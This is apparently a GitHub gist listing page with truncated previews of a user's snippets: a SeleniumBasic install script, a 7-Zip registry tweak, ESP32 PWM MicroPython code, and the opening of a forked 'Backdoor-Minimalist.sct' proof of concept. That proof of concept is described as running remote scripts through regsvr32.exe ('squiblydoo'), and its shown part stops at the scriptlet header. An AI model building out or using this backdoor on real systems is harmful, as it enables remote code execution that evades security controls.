Skip to content

Instantly share code, notes, and snippets.

@florentbr
florentbr / install.cmd
Last active March 10, 2025 22:27
Install SeleniumBasic without admin elevations
::
:: This script installs SeleniumBasic without administrator privileges.
:: It registers a COM API running on the .NET Framework.
::
:: The required files can be extracted with innoextract from the original setup :
:: Selenium.dll Selenium32.tlb Selenium64.tlb Selenium.pdb
::
:: The drivers are not provided. You'll have to download and place the desired driver :
:: * in a folder defined in the "PATH" environment variable
:: * or in this folder before running this script
@florentbr
florentbr / 7-zip-default-extract.reg
Created August 2, 2021 21:44 — forked from zabbarob/7-zip-default-extract.reg
Make 7-Zip extract to folder when double-clicking archives. (based on http://superuser.com/a/447791)
Windows Registry Editor Version 5.00
[HKEY_CLASSES_ROOT\7-Zip.001\shell]
@="extract"
[HKEY_CLASSES_ROOT\7-Zip.001\shell\extract]
@="Extract to Folder"
[HKEY_CLASSES_ROOT\7-Zip.001\shell\extract\command]
@="\"C:\\Program Files\\7-Zip\\7zG.exe\" x \"%1\" -o*"
[HKEY_CLASSES_ROOT\7-Zip.7z\shell]
@florentbr
florentbr / Backdoor-Minimalist.sct
Created August 4, 2021 22:08 — forked from enigma0x3/Backdoor-Minimalist.sct
Execute Remote Scripts Via regsvr32.exe - Referred to As "squiblydoo" Please use this reference...
<?XML version="1.0"?>
<scriptlet>
<registration
progid="PoC"
classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
<!-- Proof Of Concept - Casey Smith @subTee -->
<!-- License: BSD3-Clause -->
<script language="JScript">
<![CDATA[
@florentbr
florentbr / esp32_pwm.py
Last active January 11, 2024 09:56
ESP32 - Low level PWM with hardware ramping
from micropython import const
from machine import Pin, mem32, idle
_DPORT_PERIP_CLK_EN_REG = const(0x3FF000C0)
_DPORT_PERIP_RST_EN_REG = const(0x3FF000C4)
_DPORT_LEDC_RST_MASK = const(1 << 11)
_GPIO_FUNC0_OUT_SEL_CFG_REG = const(0x3FF44530)
_RTC_CNTL_CLK_CONF_REG = const(0x3FF48070)
_LEDC_CONF_REG = const(0x3FF59190)